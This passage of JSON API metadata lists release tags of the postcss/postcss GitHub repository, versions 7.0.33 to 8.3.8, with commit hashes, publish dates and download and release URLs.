id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.39/manifests"},{"name":"8.3.8","sha":"e2f59d057f30d419e8fa7fac0095d3a47795714d","kind":"tag","published_at":"2021-09-25T07:33:14.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.8","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.8/manifests"},{"name":"7.0.38","sha":"3994c4aa3ce1835c9b36ae17ab94e45c21b56fb2","kind":"tag","published_at":"2021-09-25T07:29:24.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.38","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.38/manifests"},{"name":"7.0.37","sha":"4dd0af024a915bd12d2d53990c5a4fa4129563d5","kind":"tag","published_at":"2021-09-25T07:23:34.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.37","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.37/manifests"},{"name":"8.3.7","sha":"d6a194df25d973457d8cb0d02860a72dc03a02ce","kind":"tag","published_at":"2021-09-22T05:54:11.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.7","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.7/manifests"},{"name":"8.3.6","sha":"91c6d661e8c789e154f966b4a468716501ff6d42","kind":"tag","published_at":"2021-07-21T15:52:21.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.6","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.6/manifests"},{"name":"8.3.5","sha":"e3781e9cb7cadec64735ab8d13245de163ef2263","kind":"tag","published_at":"2021-06-17T03:24:58.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.5","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.5/manifests"},{"name":"8.3.4","sha":"c7bae29ec7ccfc6cec74621a4071fcd668236081","kind":"tag","published_at":"2021-06-14T13:26:57.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.4","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.4/manifests"},{"name":"8.3.3","sha":"7ea0c9b2d44d1a536f532ebb50e173537842d161","kind":"tag","published_at":"2021-06-14T05:32:32.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.3","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.3/manifests"},{"name":"8.3.2","sha":"026416dac4062f0a75d664d183ea371b59b14bf9","kind":"tag","published_at":"2021-06-11T02:56:37.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.2","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.2/manifests"},{"name":"7.0.36","sha":"67e3d7b3402c5d3d036ab7c1e781f86910d6ca72","kind":"tag","published_at":"2021-06-11T02:44:01.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.36","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.36","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.36","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.36/manifests"},{"name":"8.3.1","sha":"c1d99e1ed66fd5036e0f096b429508ae86d4f8d6","kind":"tag","published_at":"2021-06-09T23:37:16.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.1","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"3b86dcbb2198b885a3e76a90a99959866da67a0e","kind":"tag","published_at":"2021-05-21T03:10:13.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.3.0","html_url":"https://github.com/postcss/postcss/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.3.0/manifests"},{"name":"8.2.15","sha":"5061f7b5ceba6b2cdde4b61dc169ffb201caf40b","kind":"tag","published_at":"2021-05-10T19:55:26.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.15","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.15/manifests"},{"name":"8.2.14","sha":"ff8e52d708602f4b37433e125bf19ab8f7f00dc9","kind":"tag","published_at":"2021-05-05T19:43:17.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.14","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.14/manifests"},{"name":"8.2.13","sha":"030bd25ed90bcd5b790b58cabe6628e48cf0026c","kind":"tag","published_at":"2021-04-26T12:24:57.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.13","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.13/manifests"},{"name":"8.2.12","sha":"dc6cff1d7f9e0d6cba440d1b4f797a0f57b13595","kind":"tag","published_at":"2021-04-22T15:50:22.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.12","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.12/manifests"},{"name":"8.2.11","sha":"2a1898ced8ba7eefe79086a8f45d8a9418330dba","kind":"tag","published_at":"2021-04-22T15:32:19.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.11","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.11/manifests"},{"name":"8.2.10","sha":"8395d9f53efbaae5f3372b6b662a9e9b5b02360b","kind":"tag","published_at":"2021-04-11T16:36:56.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.10","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.10/manifests"},{"name":"8.2.9","sha":"a0a2d3954426140bd0db38dca5e12e44f5f3fde1","kind":"tag","published_at":"2021-03-30T20:42:18.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.9","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.9/manifests"},{"name":"8.2.8","sha":"7857dd0259fc38acc3359b59fc74e0dc1185cd42","kind":"tag","published_at":"2021-03-09T22:04:19.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.8","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.8/manifests"},{"name":"8.2.7","sha":"4f4e2932fc97e2c117e1a4b15f0272ed551ed59d","kind":"tag","published_at":"2021-03-03T23:24:16.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.7","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.7/manifests"},{"name":"8.2.6","sha":"9fe29cc786267d35df9b97ec5fef4df6857e0f7d","kind":"tag","published_at":"2021-02-10T18:35:54.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.6","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.6/manifests"},{"name":"8.2.5","sha":"52a80ae81c26c02cd33f3fb394b079f37643a714","kind":"tag","published_at":"2021-02-06T18:56:21.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.5","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.5/manifests"},{"name":"8.2.4","sha":"d43308c513a848b663b83aecaf75abeb65ba9cb0","kind":"tag","published_at":"2021-01-09T10:28:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.4","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.4/manifests"},{"name":"8.2.3","sha":"2b3d229096380fcd50a2bace19fc338bfd18d3da","kind":"tag","published_at":"2021-01-07T12:06:08.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.3","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.3/manifests"},{"name":"8.2.2","sha":"1ab780849498e2d44156c5f05c88fdd3d6069bac","kind":"tag","published_at":"2020-12-29T20:56:33.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.2","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.2/manifests"},{"name":"8.2.1","sha":"2df7face52a3b541c216141205c5adf34f237d86","kind":"tag","published_at":"2020-12-09T11:51:02.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.1","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.1/manifests"},{"name":"8.2.0","sha":"b312eee55be96759130c11c1a44077ae1f54586a","kind":"tag","published_at":"2020-12-08T07:15:36.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.2.0","html_url":"https://github.com/postcss/postcss/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.2.0/manifests"},{"name":"8.1.14","sha":"6b55ab959598a8053925283cf03f70f4001111af","kind":"tag","published_at":"2020-12-04T00:20:24.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.14","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.14/manifests"},{"name":"8.1.13","sha":"a4273a28ed270009ff25826b075defd64a56e991","kind":"tag","published_at":"2020-12-03T03:14:14.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.13","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.13/manifests"},{"name":"8.1.12","sha":"e08623f3cf62ad22c8bfd67ed01fc482fead9383","kind":"tag","published_at":"2020-12-03T02:40:12.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.12","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.12/manifests"},{"name":"8.1.11","sha":"f92ef7d31858d1083c2d5aff4a5c81cc60c58191","kind":"tag","published_at":"2020-12-03T01:43:39.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.11","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.11/manifests"},{"name":"8.1.10","sha":"390256b96c190d02ccb4285d9947c434e8944bc8","kind":"tag","published_at":"2020-11-23T22:16:24.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.10","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.10/manifests"},{"name":"8.1.9","sha":"215e9258b95b7fac80cc85e0b53e5fa14f7ca823","kind":"tag","published_at":"2020-11-21T18:31:31.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.9","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.9/manifests"},{"name":"8.1.8","sha":"6d2d1fbcfeece90c32e8d67e4b7090f67321a9e7","kind":"tag","published_at":"2020-11-19T15:57:47.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.8","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.8/manifests"},{"name":"8.1.7","sha":"7e68b54aef1f3994ab546ac9c4c5df9d6f671075","kind":"tag","published_at":"2020-11-10T15:57:45.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.7","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.7/manifests"},{"name":"8.1.6","sha":"fe74f5a1e6a2531c0f83d18636ade76f151dff58","kind":"tag","published_at":"2020-11-05T16:28:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.6","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.6/manifests"},{"name":"8.1.5","sha":"6f91e23456f274ed04bd8164cea599f7c9407170","kind":"tag","published_at":"2020-11-05T15:49:28.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.5","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.5/manifests"},{"name":"8.1.4","sha":"f8b678ca1e867acdcd10d0efc5c2a8f575dfc742","kind":"tag","published_at":"2020-10-24T00:02:10.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.4","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.4/manifests"},{"name":"8.1.3","sha":"fa387a510c7799c0c370d58631eacd36550cba27","kind":"tag","published_at":"2020-10-23T02:20:24.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.3","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.3/manifests"},{"name":"8.1.2","sha":"746a53e631612f81c02bcdeabd71bd99118a6c08","kind":"tag","published_at":"2020-10-19T00:02:00.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.2","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"ae994a99efd78595a746bac9fdea9ee179686d8a","kind":"tag","published_at":"2020-09-28T21:46:42.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.1","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.1/manifests"},{"name":"7.0.35","sha":"12832f3d203474bd273bd06bd3b2407567bfe09e","kind":"tag","published_at":"2020-09-28T21:41:58.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.35","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.35/manifests"},{"name":"8.1.0","sha":"264bb9ece41206e031dc415ca533683bcdacbcb0","kind":"tag","published_at":"2020-09-26T23:25:30.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.1.0","html_url":"https://github.com/postcss/postcss/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.1.0/manifests"},{"name":"8.0.9","sha":"a2d5df4ab54d05b23dffd16b93e420183387f58f","kind":"tag","published_at":"2020-09-23T17:02:35.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.9","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.9/manifests"},{"name":"8.0.8","sha":"e55962e56a9f3f48049442c5a06f1702220e0dd7","kind":"tag","published_at":"2020-09-23T02:10:11.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.8","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.8/manifests"},{"name":"8.0.7","sha":"d35d62152de04cb72b01a6200f7d28c884038460","kind":"tag","published_at":"2020-09-22T00:49:42.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.7","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.7/manifests"},{"name":"8.0.6","sha":"3a6dbb4d66b8ec96db8093985067303a968142c0","kind":"tag","published_at":"2020-09-20T16:50:47.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.6","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.6/manifests"},{"name":"8.0.5","sha":"ba6e9d0b0c84044215f7e54ecc00d1420287a506","kind":"tag","published_at":"2020-09-17T02:41:50.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.5","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.5/manifests"},{"name":"7.0.34","sha":"32a22a98bc4de9c7a2489041ceae24eedc62144f","kind":"tag","published_at":"2020-09-17T01:54:42.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.34","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.34/manifests"},{"name":"8.0.4","sha":"5f35c55fda61c870b15ecc40df83ad027d213635","kind":"tag","published_at":"2020-09-16T22:18:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/8.0.4","html_url":"https://github.com/postcss/postcss/releases/tag/8.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/8.0.4/manifests"},{"name":"7.0.33","sha":"2c3a111a940b373a60fae196e63931b3b6e9d8ca","kind":"tag","published_at":"2020-09-16T22:08:40.000Z","download_url":"https://codeload.github.com/postcss/postcss/tar.gz/7.0.33","html_url":"https://github.com/postcss/postcss/releases/tag/7.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags/7.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/postcss%2Fpostcss/tags